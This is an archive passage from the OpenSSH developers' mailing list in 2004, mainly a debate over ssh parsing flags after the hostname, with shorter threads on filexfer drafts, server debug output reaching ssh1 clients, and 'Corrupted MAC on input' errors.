Processing dash arguments after the hostname is inconsistant with 
getopt() usage.  It is also inconsistant with other ssh/rsh 
implementations.  It is also not documented.

openssh accepts treats "ssh host -l user" as "ssh -l user host"
when infact it should be attemption to execute "-l user" on "host"
as the original user.

It looks like someone wanted to be "compatible" with Linux's
broken getopt() implementation.




From djm at mindrot.org  Wed Apr 28 10:51:38 2004
From: djm at mindrot.org (Damien Miller)
Date: Wed, 28 Apr 2004 10:51:38 +1000 (EST)
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <408EF4E8.6030401@isc.org>
References: <408EF4E8.6030401@isc.org>
Message-ID: <Pine.BSO.4.58.0404281048500.15753@sakura.mindrot.org>

On Wed, 28 Apr 2004, Mark Andrews wrote:

> 
> Processing dash arguments after the hostname is inconsistant with 
> getopt() usage.  It is also inconsistant with other ssh/rsh 
> implementations.  It is also not documented.
> 
> openssh accepts treats "ssh host -l user" as "ssh -l user host"
> when infact it should be attemption to execute "-l user" on "host"
> as the original user.

I agree that the current argument processing isn't standard, but I'm not 
sure that trying to "execute" - options on the server side is either.

The commands are executed on the server with the user's shell, so any - 
arguments will be treated as arguments to that shell.

If you really want this, you can use this patch:

Index: ssh.c
===================================================================
RCS file: /cvs/src/usr.bin/ssh/ssh.c,v
retrieving revision 1.212
diff -u -r1.212 ssh.c
--- ssh.c	27 Apr 2004 09:46:37 -0000	1.212
+++ ssh.c	28 Apr 2004 00:47:40 -0000
@@ -449,10 +449,6 @@
 			host = ++cp;
 		} else
 			host = *av;
-		if (ac > 1) {
-			optind = optreset = 1;
-			goto again;
-		}
 		ac--, av++;
 	}
 



From markus at openbsd.org  Wed Apr 28 10:59:05 2004
From: markus at openbsd.org (Markus Friedl)
Date: Wed, 28 Apr 2004 02:59:05 +0200
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <408EF4E8.6030401@isc.org>
References: <408EF4E8.6030401@isc.org>
Message-ID: <20040428005905.GB30344@folly>

On Wed, Apr 28, 2004 at 10:03:52AM +1000, Mark Andrews wrote:
> 
> Processing dash arguments after the hostname is inconsistant with 
> getopt() usage.  It is also inconsistant with other ssh/rsh 
> implementations.  It is also not documented.
> 
> openssh accepts treats "ssh host -l user" as "ssh -l user host"
> when infact it should be attemption to execute "-l user" on "host"
> as the original user.
> 
> It looks like someone wanted to be "compatible" with Linux's
> broken getopt() implementation.

no.

original ssh tried to be compatible with rlogin,
and since hundreds of scripts may rely on the
current behaviour...



From Mark_Andrews at isc.org  Wed Apr 28 11:09:18 2004
From: Mark_Andrews at isc.org (Mark Andrews)
Date: Wed, 28 Apr 2004 11:09:18 +1000
Subject: openssh continues to process dash arguements after hostname 
In-Reply-To: Your message of "Wed, 28 Apr 2004 10:51:38 +1000."
	<Pine.BSO.4.58.0404281048500.15753@sakura.mindrot.org> 
Message-ID: <200404280109.i3S19IMT044429@drugs.dv.isc.org>


> On Wed, 28 Apr 2004, Mark Andrews wrote:
> 
> > 
> > Processing dash arguments after the hostname is inconsistant with 
> > getopt() usage.  It is also inconsistant with other ssh/rsh 
> > implementations.  It is also not documented.
> > 
> > openssh accepts treats "ssh host -l user" as "ssh -l user host"
> > when infact it should be attemption to execute "-l user" on "host"
> > as the original user.
> 
> I agree that the current argument processing isn't standard, but I'm not 
> sure that trying to "execute" - options on the server side is either.
> 
> The commands are executed on the server with the user's shell, so any - 
> arguments will be treated as arguments to that shell.

	If they are treated as shell arguements then sshd is broken.
 
> If you really want this, you can use this patch:
--
Mark Andrews, ISC
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: Mark_Andrews at isc.org



From Mark_Andrews at isc.org  Wed Apr 28 11:21:49 2004
From: Mark_Andrews at isc.org (Mark Andrews)
Date: Wed, 28 Apr 2004 11:21:49 +1000
Subject: openssh continues to process dash arguements after hostname 
In-Reply-To: Your message of "Wed, 28 Apr 2004 02:59:05 +0200."
	<20040428005905.GB30344@folly> 
Message-ID: <200404280121.i3S1LnMT044491@drugs.dv.isc.org>


> On Wed, Apr 28, 2004 at 10:03:52AM +1000, Mark Andrews wrote:
> > 
> > Processing dash arguments after the hostname is inconsistant with 
> > getopt() usage.  It is also inconsistant with other ssh/rsh 
> > implementations.  It is also not documented.
> > 
> > openssh accepts treats "ssh host -l user" as "ssh -l user host"
> > when infact it should be attemption to execute "-l user" on "host"
> > as the original user.
> > 
> > It looks like someone wanted to be "compatible" with Linux's
> > broken getopt() implementation.
> 
> no.
> 
> original ssh tried to be compatible with rlogin,
> and since hundreds of scripts may rely on the
> current behaviour...

	So because you fail to fix a bug other bugs fail to get
	fixed.  You then get to the stage where when you report bad
	command line generation, because you happen to also use a
	implemtation that enforces the ssh command line, it gets
	knocked back with "it works with my ssh".

	Yes that happened when I reported a bug in CVS to FreeBSD.
	I also reported it to the CVS maintainers who accepted the
	bug report so it will eventually make it into FreeBSD.

	I long ago found out that supporting broken callers is
	actually more work that that generated by handling the few
	bug reports that come through when you fix the broken
	behaviour.

	Mark
--
Mark Andrews, ISC
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: Mark_Andrews at isc.org



From Mark_Andrews at isc.org  Wed Apr 28 11:45:01 2004
From: Mark_Andrews at isc.org (Mark Andrews)
Date: Wed, 28 Apr 2004 11:45:01 +1000
Subject: openssh continues to process dash arguements after hostname 
In-Reply-To: Your message of "Wed, 28 Apr 2004 02:59:05 +0200."
	<20040428005905.GB30344@folly> 
Message-ID: <200404280145.i3S1j1MT044648@drugs.dv.isc.org>


> On Wed, Apr 28, 2004 at 10:03:52AM +1000, Mark Andrews wrote:
> > 
> > Processing dash arguments after the hostname is inconsistant with 
> > getopt() usage.  It is also inconsistant with other ssh/rsh 
> > implementations.  It is also not documented.
> > 
> > openssh accepts treats "ssh host -l user" as "ssh -l user host"
> > when infact it should be attemption to execute "-l user" on "host"
> > as the original user.
> > 
> > It looks like someone wanted to be "compatible" with Linux's
> > broken getopt() implementation.
> 
> no.
> 
> original ssh tried to be compatible with rlogin,
> and since hundreds of scripts may rely on the
> current behaviour...

	Well document the behaviour.  You will get less complaints
	that way.

	ssh hostname | user at hostname [-afgknqstvxACNTX1246]
	 [ -b bind_address] [-c cipher_spec] [-e escape_char]
	 [-i identity_file] [-l login_name] [-m mac_spec] [-o option]
	 [-p port] [-F configfile] [-L port:host:hostport] [-R
	 port:host:hostport] [-D port] [command]

	Also if you want to be compatible with rlogin/rsh then be
	compatible.  Flags should only be accepted on one side of
	the hostname not both.

	From rsh.c:

        /* handle "rsh host flags" */
        if (!host && argc > 2 && argv[1][0] != '-') {
                host = argv[1];
                argoff = 1;
        }

--
Mark Andrews, ISC
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: Mark_Andrews at isc.org



From markus at openbsd.org  Wed Apr 28 11:39:35 2004
From: markus at openbsd.org (Markus Friedl)
Date: Wed, 28 Apr 2004 03:39:35 +0200
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <200404280121.i3S1LnMT044491@drugs.dv.isc.org>
References: <20040428005905.GB30344@folly>
	<200404280121.i3S1LnMT044491@drugs.dv.isc.org>
Message-ID: <20040428013935.GB26435@folly>

On Wed, Apr 28, 2004 at 11:21:49AM +1000, Mark Andrews wrote:
> 
> > On Wed, Apr 28, 2004 at 10:03:52AM +1000, Mark Andrews wrote:
> > > 
> > > Processing dash arguments after the hostname is inconsistant with 
> > > getopt() usage.  It is also inconsistant with other ssh/rsh 
> > > implementations.  It is also not documented.
> > > 
> > > openssh accepts treats "ssh host -l user" as "ssh -l user host"
> > > when infact it should be attemption to execute "-l user" on "host"
> > > as the original user.
> > > 
> > > It looks like someone wanted to be "compatible" with Linux's
> > > broken getopt() implementation.
> > 
> > no.
> > 
> > original ssh tried to be compatible with rlogin,
> > and since hundreds of scripts may rely on the
> > current behaviour...
> 
> 	So because you fail to fix a bug other bugs fail to get
> 	fixed.  You then get to the stage where when you report bad
> 	command line generation, because you happen to also use a
> 	implemtation that enforces the ssh command line, it gets
> 	knocked back with "it works with my ssh".
> 
> 	Yes that happened when I reported a bug in CVS to FreeBSD.
> 	I also reported it to the CVS maintainers who accepted the
> 	bug report so it will eventually make it into FreeBSD.
> 
> 	I long ago found out that supporting broken callers is
> 	actually more work that that generated by handling the few
> 	bug reports that come through when you fix the broken
> 	behaviour.

so what?

let freebsd break ssh.

we won't.

too many people are using:

	$ ssh host -l user



From djm at mindrot.org  Wed Apr 28 12:12:40 2004
From: djm at mindrot.org (Damien Miller)
Date: Wed, 28 Apr 2004 12:12:40 +1000
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <200404280109.i3S19IMT044429@drugs.dv.isc.org>
References: <200404280109.i3S19IMT044429@drugs.dv.isc.org>
Message-ID: <408F1318.2040408@mindrot.org>

Mark Andrews wrote:

>>The commands are executed on the server with the user's shell, so any - 
>>arguments will be treated as arguments to that shell.
> 
> 	If they are treated as shell arguements then sshd is broken.

If you read the source, then you would see that this is not the case.
Some shells have broken argument processing.

I don't know if fixing this worth breaking people's scripts that rely
on the bad argument parsing.

You can always be explicit in your commandline:

ssh user at host -- -x -y -z

will work as expected.

-d



From djm at mindrot.org  Wed Apr 28 12:28:25 2004
From: djm at mindrot.org (Damien Miller)
Date: Wed, 28 Apr 2004 12:28:25 +1000
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <200404280121.i3S1LnMT044491@drugs.dv.isc.org>
References: <200404280121.i3S1LnMT044491@drugs.dv.isc.org>
Message-ID: <408F16C9.2020303@mindrot.org>

Mark Andrews wrote:

> 	So because you fail to fix a bug other bugs fail to get
> 	fixed.  You then get to the stage where when you report bad
> 	command line generation, because you happen to also use a
> 	implemtation that enforces the ssh command line, it gets
> 	knocked back with "it works with my ssh".
> 
> 	Yes that happened when I reported a bug in CVS to FreeBSD.
> 	I also reported it to the CVS maintainers who accepted the
> 	bug report so it will eventually make it into FreeBSD.

If FreeBSD had done the right thing and had the discussion with us,
then there wouldn't be divergence. Unfortunately they, like most
distributors, have a lousy record of feeding local changes upstream.

-d



From mouring at etoh.eviladmin.org  Wed Apr 28 13:20:43 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 27 Apr 2004 22:20:43 -0500 (CDT)
Subject: openssh continues to process dash arguements after hostname 
In-Reply-To: <200404280145.i3S1j1MT044648@drugs.dv.isc.org>
Message-ID: <Pine.BSO.4.44.0404272210350.953-100000@etoh.eviladmin.org>



On Wed, 28 Apr 2004, Mark Andrews wrote:

>
> > On Wed, Apr 28, 2004 at 10:03:52AM +1000, Mark Andrews wrote:
> > >
> > > Processing dash arguments after the hostname is inconsistant with
> > > getopt() usage.  It is also inconsistant with other ssh/rsh
> > > implementations.  It is also not documented.
> > >
> > > openssh accepts treats "ssh host -l user" as "ssh -l user host"
> > > when infact it should be attemption to execute "-l user" on "host"
> > > as the original user.
> > >
> > > It looks like someone wanted to be "compatible" with Linux's
> > > broken getopt() implementation.
> >
> > no.
> >
> > original ssh tried to be compatible with rlogin,
> > and since hundreds of scripts may rely on the
> > current behaviour...
>
> 	Well document the behaviour.  You will get less complaints
> 	that way.
>

I've been around here for a while now.. (Not as long as some, but enough)
And you are the first one to complaint about this.

> 	ssh hostname | user at hostname [-afgknqstvxACNTX1246]
> 	 [ -b bind_address] [-c cipher_spec] [-e escape_char]
> 	 [-i identity_file] [-l login_name] [-m mac_spec] [-o option]
> 	 [-p port] [-F configfile] [-L port:host:hostport] [-R
> 	 port:host:hostport] [-D port] [command]
>

Which of course is still wrong.  since the arguments can come before and
after hostname/user at hostname at this current time.  In fact if I wanted to
whine about your structure for explaining to me how ssh works I could
easily complain that -e could come before -c and -a could come after -o
and thus it still lies.  But honestly, most people realize that.


> 	Also if you want to be compatible with rlogin/rsh then be
> 	compatible.  Flags should only be accepted on one side of
> 	the hostname not both.
>

Accepting flags on the right hand side supports rsh's old command line
stuff.  No one said we are restraining ourselves to the old rlogin/rsh
way.

I don't get what you are making such a big fuss out of this.  I can think
of a lot more pressing issues then this whining.

What are you the command line argument police?   =)

- Ben



From jdvf at optonline.net  Wed Apr 28 13:33:09 2004
From: jdvf at optonline.net (John Devitofranceschi)
Date: Tue, 27 Apr 2004 23:33:09 -0400
Subject: Code question (canohost.c)
In-Reply-To: <408EEF41.4030303@mindrot.org>
Message-ID: <001001c42cd1$89b69d90$6301a8c0@rover>


In the latest release at around line 80 of canohost.c there is a call to
getaddrinfo (found in openbsd-compat/fake-rfc2553.c) where the second
parameter (it's supposed to be a service name, I suppose) is "0".  Why is
that? Shouldn't it be NULL?

I ask this because the resulting (seemingly useless and ultimately futile)
getservbyname("0", NULL) call is slowing down the time to login considerably
on my Openstep systems. Or does a call like this have a special meaning?

Thanks,
jd




From Mark_Andrews at isc.org  Wed Apr 28 14:02:33 2004
From: Mark_Andrews at isc.org (Mark Andrews)
Date: Wed, 28 Apr 2004 14:02:33 +1000
Subject: openssh continues to process dash arguements after hostname 
In-Reply-To: Your message of "Tue, 27 Apr 2004 22:20:43 EST."
	<Pine.BSO.4.44.0404272210350.953-100000@etoh.eviladmin.org> 
Message-ID: <200404280402.i3S42XMT092682@drugs.dv.isc.org>


> 
> 
> On Wed, 28 Apr 2004, Mark Andrews wrote:
> 
> >
> > > On Wed, Apr 28, 2004 at 10:03:52AM +1000, Mark Andrews wrote:
> > > >
> > > > Processing dash arguments after the hostname is inconsistant with
> > > > getopt() usage.  It is also inconsistant with other ssh/rsh
> > > > implementations.  It is also not documented.
> > > >
> > > > openssh accepts treats "ssh host -l user" as "ssh -l user host"
> > > > when infact it should be attemption to execute "-l user" on "host"
> > > > as the original user.
> > > >
> > > > It looks like someone wanted to be "compatible" with Linux's
> > > > broken getopt() implementation.
> > >
> > > no.
> > >
> > > original ssh tried to be compatible with rlogin,
> > > and since hundreds of scripts may rely on the
> > > current behaviour...
> >
> > 	Well document the behaviour.  You will get less complaints
> > 	that way.
> >
> 
> I've been around here for a while now.. (Not as long as some, but enough)
> And you are the first one to complaint about this.
> 
> > 	ssh hostname | user at hostname [-afgknqstvxACNTX1246]
> > 	 [ -b bind_address] [-c cipher_spec] [-e escape_char]
> > 	 [-i identity_file] [-l login_name] [-m mac_spec] [-o option]
> > 	 [-p port] [-F configfile] [-L port:host:hostport] [-R
> > 	 port:host:hostport] [-D port] [command]
> >
> 
> Which of course is still wrong.  since the arguments can come before and
> after hostname/user at hostname at this current time.  In fact if I wanted to
> whine about your structure for explaining to me how ssh works I could
> easily complain that -e could come before -c and -a could come after -o
> and thus it still lies.  But honestly, most people realize that.

	Most people expect the flags to appear *before* the main
	arguements, if any.  This is normal command line processing.
	rsh (and hence ssh) break this convention.  The fact that
	the convention is broken should be documented.

> > 	Also if you want to be compatible with rlogin/rsh then be
> > 	compatible.  Flags should only be accepted on one side of
> > 	the hostname not both.
> >
> 
> Accepting flags on the right hand side supports rsh's old command line
> stuff.  No one said we are restraining ourselves to the old rlogin/rsh
> way.

	No.  It was claimed  that it was for compatability with
	rsh.  Accepting flags on both side breaks compatibility.

	"rsh -l user hostname -foo" will attempt to execute "-foo"
	"ssh -l user hostname -foo" will attempt to process "-foo" as
	flags.
	
> I don't get what you are making such a big fuss out of this.  I can think
> of a lot more pressing issues then this whining.
> 
> What are you the command line argument police?   =)
> 
> - Ben
> 
--
Mark Andrews, ISC
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: Mark_Andrews at isc.org



From markus at openbsd.org  Wed Apr 28 14:35:36 2004
From: markus at openbsd.org (Markus Friedl)
Date: Wed, 28 Apr 2004 06:35:36 +0200
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <200404280402.i3S42XMT092682@drugs.dv.isc.org>
References: <Pine.BSO.4.44.0404272210350.953-100000@etoh.eviladmin.org>
	<200404280402.i3S42XMT092682@drugs.dv.isc.org>
Message-ID: <20040428043536.GA3344@folly>

On Wed, Apr 28, 2004 at 02:02:33PM +1000, Mark Andrews wrote:
> 	No.  It was claimed  that it was for compatability with
> 	rsh.  Accepting flags on both side breaks compatibility.
> 
> 	"rsh -l user hostname -foo" will attempt to execute "-foo"
> 	"ssh -l user hostname -foo" will attempt to process "-foo" as
> 	flags.

ssh does this for almost 10 years and will continue to do so.

	ssh -v host -p 1234

is very common.



From r3r2 at yahoo.com  Thu Apr 29 00:32:52 2004
From: r3r2 at yahoo.com (Ryan Robertson)
Date: Wed, 28 Apr 2004 07:32:52 -0700 (PDT)
Subject: Corrupted MAC on input
Message-ID: <20040428143252.81574.qmail@web10803.mail.yahoo.com>

I am experiencing similar issues as noted in this bug
id:
http://bugzilla.mindrot.org/show_bug.cgi?id=510

I am ssh'ing from a dchp'd address to a nat'd address
(tried both hostname & ip).  after a successful login,
I launch an X app.  Shortly thereafter I get:
"Disconnecting: Corrupted MAC on input."
I was not experiencing this problem w/3.7, but I
cannot place full blame on 3.8, as it was working for
a short while.  So you're asking youself, "what's
changed?"  Well on both the client and server side,
nothing.....on the network side....who knows, I have
zero control over that.  To the best of my knowledge
they're using cisco all the way around.  Not certain
on model type.  Below is a brief debug from the 
client side:

hubdbx01:/ # debug1: client_input_channel_open: ctype
x11 rchan 2 win 65536 max 16384
debug1: client_request_x11: request from 127.0.0.1
32849
debug1: fd 7 setting O_NONBLOCK
debug1: channel 1: new [x11]
debug1: confirm x11
Disconnecting: Corrupted MAC on input.
debug1: Calling cleanup 0x8051b10(0x0)
debug1: Calling cleanup 0x805aa30(0x0)
debug1: channel_free: channel 0: client-session,
nchannels 2
debug1: channel_free: channel 1: x11, nchannels 1
debug1: Calling cleanup 0x80628b0(0x0)
================================


Thanks,
Ryan


	
		
__________________________________
Do you Yahoo!?
Win a $20,000 Career Makeover at Yahoo! HotJobs  
http://hotjobs.sweepstakes.yahoo.com/careermakeover 



From mgrooms at shrew.net  Thu Apr 29 09:38:01 2004
From: mgrooms at shrew.net (Matthew Grooms)
Date: Wed, 28 Apr 2004 23:38:01 +0000
Subject: FW: filexfer draft and uid / gid resolution ...
In-Reply-To: <E5A62B7DD55DD040BC05403E8BE896DB086A5A@AUSEX2VS1.seton.org>
Message-ID: <200404282338.i3SNc12I094431@hole.shrew.net>

Damien,

     Thanks for the response. Are you aware of any sftp server products
that currently implement the uid / gid resolution or is this new draft
just too unrefined / recent. Also, is there a definitive source for
these drafts and where might they be published? Up till now I have just
been reading the documentation available from www.openssh.org.

     I hope these questions aren't too annoying. If there is a better
place to get answers for questions of this nature, please just let me
know and I will get out of your hair.

Thanks again for your help. I really appreciate it.

-Matthew

>________________________________
>
>From: Damien Miller [mailto:djm at mindrot.org]
>Sent: Tue 4/27/2004 6:39 PM
>To: Grooms, Matthew
>Cc: openssh-unix-dev at mindrot.org
>Subject: Re: filexfer draft and uid / gid resolution ...
>
>
>The version of the filexfer draft that OpenSSH supports doesn't support
>user/group name resolution. We have access to numeric user and group IDs
>only.
>
>Later versions of the filexfer draft do support this, but I have some
>misgiving about them that I would like to see resolved before
>implementing support for a new revision.
>
>-d
>
>
>



From djm at mindrot.org  Thu Apr 29 09:37:28 2004
From: djm at mindrot.org (Damien Miller)
Date: Thu, 29 Apr 2004 09:37:28 +1000
Subject: FW: filexfer draft and uid / gid resolution ...
In-Reply-To: <200404282338.i3SNc12I094431@hole.shrew.net>
References: <200404282338.i3SNc12I094431@hole.shrew.net>
Message-ID: <40904038.9010504@mindrot.org>

Matthew Grooms wrote:
> Damien,
> 
>      Thanks for the response. Are you aware of any sftp server products
> that currently implement the uid / gid resolution or is this new draft
> just too unrefined / recent. Also, is there a definitive source for
> these drafts and where might they be published? Up till now I have just
> been reading the documentation available from www.openssh.org.

http://ftp.ietf.org/internet-drafts/draft-ietf-secsh-filexfer-05.txt

Is the most recent draft. Discussion of the protocols occurs on the
ietf-secsh at netbsd.org mailing list.

I don't know of any server implementations that do filexfer-05. Perhaps
some of the commercial ones do, but I haven't checked (and won't
without licenses to do so).

If it wants to interoperate with the majority of deployed software, any
implementation that supports filexfer-05 will also have to support
filexfer-03.

Therefore I don't see a point in implementing the new draft until some
issues are cleared up (including an O_NOFOLLOW equivalent for opening
files) because then we would have to implement filexfer-03, 05 and
whatever replaces it.

The new draft is an improvement in a few areas, though. One of them
being the transmission of user/group info.

-d



From Martin.Kraemer at Fujitsu-Siemens.com  Thu Apr 29 20:28:39 2004
From: Martin.Kraemer at Fujitsu-Siemens.com (Martin Kraemer)
Date: Thu, 29 Apr 2004 12:28:39 +0200
Subject: OpenSSH bug: server debug output sent to client
Message-ID: <20040429102839.GA71957@deejai2.mch.fsc.net>

Hello SSH developers,

When using the sshd '-d' switch, then the following problem occurs
when a connecting client uses the ssh1 protocol: part of the server's
debug output is not printed to (the server's) stderr, but delivered
to the client (to the client's stderr). Verified with the FreeBSD
version of sshd, and with sshd-3.7.1p2

--snip--server:
# /usr/sbin/sshd -ddd
debug1: sshd version OpenSSH_3.5p1 FreeBSD-20030924
...
debug1: Server will not fork when running in debugging mode.
debug1: res_init()
Connection from 127.0.0.1 port 2959
debug1: Client protocol version 1.5; client software version OpenSSH_3.5p1 FreeBSD-20030924
...
Found matching RSA1 key: 6e:b3:aa:3c:0a:8e:74:f3:de:da:f2:0c:39:d6:f0:19
Accepted rsa for martin from 127.0.0.1 port 2959
...
debug1: session_new: init
debug1: session_new: session 0
debug1: Installing crc compensation attack detector.
debug1: Exec command 'id'
debug1: PAM: setting PAM_TTY to "(null)"
debug1: PAM: establishing credentials
debug1: Entering interactive session.
debug1: fd 8 setting O_NONBLOCK
debug2: fd 8 is O_NONBLOCK
debug1: fd 10 setting O_NONBLOCK
debug1: Received SIGCHLD.
debug1: fd 4 setting O_NONBLOCK
debug1: fd 9 setting O_NONBLOCK
debug1: server_init_dispatch_13
debug1: server_init_dispatch_15
debug1: End of interactive session; stdin 0, stdout (read 147, sent 147), stderr 649 bytes.
...
--snip--

--snip--client:
$ ssh -1 localhost id
debug3: Copy environment: PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/local/bin:/usr/X11R6/bin:/home/martin/bin
debug3: Copy environment: MAIL=/var/mail/martin
debug3: Copy environment: BLOCKSIZE=K
debug3: Copy environment: FTP_PASSIVE_MODE=YES
debug1: PAM: retrieving environment
Environment:
  USER=martin
  LOGNAME=martin
  HOME=/home/martin
  MAIL=/var/mail/martin
  PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/local/bin:/usr/X11R6/bin:/home/martin/bin
  TERM=su
  BLOCKSIZE=K
  FTP_PASSIVE_MODE=YES
  SHELL=/bin/tcsh
  SSH_CLIENT=127.0.0.1 2959 22
  SSH_CONNECTION=127.0.0.1 2959 127.0.0.1 22
uid=2800(martin) gid=1001(kraemer) groups=1001(kraemer), 0(wheel), 5(operator), 68(dialer), 1005(com5), 2000(cvs), 3000(machines), 3001(domainadm)
--snip--

The expected output would have been just the "uid=2800..." line

   Martin
-- 
<Martin.Kraemer at Fujitsu-Siemens.com>         |     Fujitsu Siemens
Fon: +49-89-636-46021, FAX: +49-89-636-47655 | 81730  Munich,  Germany



From dtucker at zip.com.au  Thu Apr 29 20:40:14 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Thu, 29 Apr 2004 20:40:14 +1000
Subject: OpenSSH bug: server debug output sent to client
In-Reply-To: <20040429102839.GA71957@deejai2.mch.fsc.net>
References: <20040429102839.GA71957@deejai2.mch.fsc.net>
Message-ID: <4090DB8E.40509@zip.com.au>

Martin Kraemer wrote:

> When using the sshd '-d' switch, then the following problem occurs
> when a connecting client uses the ssh1 protocol: part of the server's
> debug output is not printed to (the server's) stderr, but delivered
> to the client (to the client's stderr). Verified with the FreeBSD
> version of sshd, and with sshd-3.7.1p2

Those debugs are from after the daemon has forked and set up its 
stdin/stdout/stderr descriptors but before it's exec's the shell.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From vinschen at redhat.com  Thu Apr 29 22:55:49 2004
From: vinschen at redhat.com (Corinna Vinschen)
Date: Thu, 29 Apr 2004 14:55:49 +0200
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <20040428043536.GA3344@folly>
References: <Pine.BSO.4.44.0404272210350.953-100000@etoh.eviladmin.org>
	<200404280402.i3S42XMT092682@drugs.dv.isc.org>
	<20040428043536.GA3344@folly>
Message-ID: <20040429125549.GI17535@cygbert.vinschen.de>

On Apr 28 06:35, Markus Friedl wrote:
> On Wed, Apr 28, 2004 at 02:02:33PM +1000, Mark Andrews wrote:
> > 	No.  It was claimed  that it was for compatability with
> > 	rsh.  Accepting flags on both side breaks compatibility.
> > 
> > 	"rsh -l user hostname -foo" will attempt to execute "-foo"
> > 	"ssh -l user hostname -foo" will attempt to process "-foo" as
> > 	flags.
> 
> ssh does this for almost 10 years and will continue to do so.
> 
> 	ssh -v host -p 1234
> 
> is very common.

It's called "argument permutation" and it's a well-known and documented
behaviour in the getopt and (FWIW here) the getopt_long man pages on many
systems.  Various systems have various defaults, though.  If you don't
like it, you can use the POSIXLY_CORRECT environment variable.


Corinna

-- 
Corinna Vinschen
Cygwin Co-Project Leader
Red Hat, Inc.



From vinschen at redhat.com  Thu Apr 29 22:59:44 2004
From: vinschen at redhat.com (Corinna Vinschen)
Date: Thu, 29 Apr 2004 14:59:44 +0200
Subject: Corrupted MAC on input
In-Reply-To: <20040428143252.81574.qmail@web10803.mail.yahoo.com>
References: <20040428143252.81574.qmail@web10803.mail.yahoo.com>
Message-ID: <20040429125944.GJ17535@cygbert.vinschen.de>

On Apr 28 07:32, Ryan Robertson wrote:
> I am experiencing similar issues as noted in this bug
> id:
> http://bugzilla.mindrot.org/show_bug.cgi?id=510
> 
> I am ssh'ing from a dchp'd address to a nat'd address
> (tried both hostname & ip).  after a successful login,
> I launch an X app.  Shortly thereafter I get:
> "Disconnecting: Corrupted MAC on input."
> I was not experiencing this problem w/3.7, but I
> cannot place full blame on 3.8, as it was working for
> a short while.  So you're asking youself, "what's
> changed?"  Well on both the client and server side,
> nothing.....on the network side....who knows, I have
> zero control over that.  To the best of my knowledge
> they're using cisco all the way around.  Not certain

So are you running the Cisco client on your machine?  Is you machine
by any chance an SMP or hyperthreaded machine?  I have made bad
experiences with that combination and I have encountered the "Corrupted
MAC on input" message a lot when running the Cisco client on an SMP box.
It's definitely a bug in the Cisco client and it's weird that Cisco isn't
able (or willing?) to fix that.


Corinna

-- 
Corinna Vinschen
Cygwin Co-Project Leader
Red Hat, Inc.



From dtucker at zip.com.au  Thu Apr 29 23:49:20 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Thu, 29 Apr 2004 23:49:20 +1000
Subject: Corrupted MAC on input
In-Reply-To: <20040428143252.81574.qmail@web10803.mail.yahoo.com>
References: <20040428143252.81574.qmail@web10803.mail.yahoo.com>
Message-ID: <409107E0.9040809@zip.com.au>

Ryan Robertson wrote:

> I am experiencing similar issues as noted in this bug
> id:
> http://bugzilla.mindrot.org/show_bug.cgi?id=510
> 
> I am ssh'ing from a dchp'd address to a nat'd address
> (tried both hostname & ip).  after a successful login,
> I launch an X app.  Shortly thereafter I get:
> "Disconnecting: Corrupted MAC on input."

> I was not experiencing this problem w/3.7, but I
> cannot place full blame on 3.8, as it was working for
> a short while.  So you're asking youself, "what's
> changed?"

Also "does the problem persist if you revert to 3.7 temporarily" and 
"does it occur with large file transfers with, eg scp or sftp"?

> Well on both the client and server side,
> nothing.....on the network side....who knows, I have
> zero control over that.  To the best of my knowledge
> they're using cisco all the way around.  Not certain
> on model type.  Below is a brief debug from the 
> client side:

The can be caused by *any* changes to the data at any point between 
client and server.  This includes network device drivers, network 
interfaces, memory, cabling, routers, switches...

At each end, do you get problems doing transfers to localhost?  Can you 
do a transfer with another protocol (netcat can be useful for this) then 
md5sum source and destination files and compare?

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From guyverdh at mchsi.com  Fri Apr 30 00:31:12 2004
From: guyverdh at mchsi.com (guyverdh at mchsi.com)
Date: Thu, 29 Apr 2004 14:31:12 +0000
Subject: Corrupted MAC on input
Message-ID: <042920041431.5407.f48@mchsi.com>

Are you by chance connecting via some kind of VPN software?
I've seen VPN clients (and their servers) mung up MAC addresses by setting them 
to all zeros for the VPN adapter.
It may be a setting change on the server to allow pseudo-macs to be assigned.

- Larry



From dtucker at zip.com.au  Fri Apr 30 00:40:07 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 30 Apr 2004 00:40:07 +1000
Subject: Corrupted MAC on input
In-Reply-To: <042920041431.5407.f48@mchsi.com>
References: <042920041431.5407.f48@mchsi.com>
Message-ID: <409113C7.4020303@zip.com.au>

guyverdh at mchsi.com wrote:

> Are you by chance connecting via some kind of VPN software?
> I've seen VPN clients (and their servers) mung up MAC addresses by setting them 
> to all zeros for the VPN adapter.
> It may be a setting change on the server to allow pseudo-macs to be assigned.

The MAC the error message refers to stands for "Message Authentication 
Code" (think: checksum on steroids) not "Media Access Control" (eg the 
ethernet link-layer).

If the VPN software messes with the payload of the packets then it might 
cause that error, though.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From guyverdh at mchsi.com  Fri Apr 30 00:57:25 2004
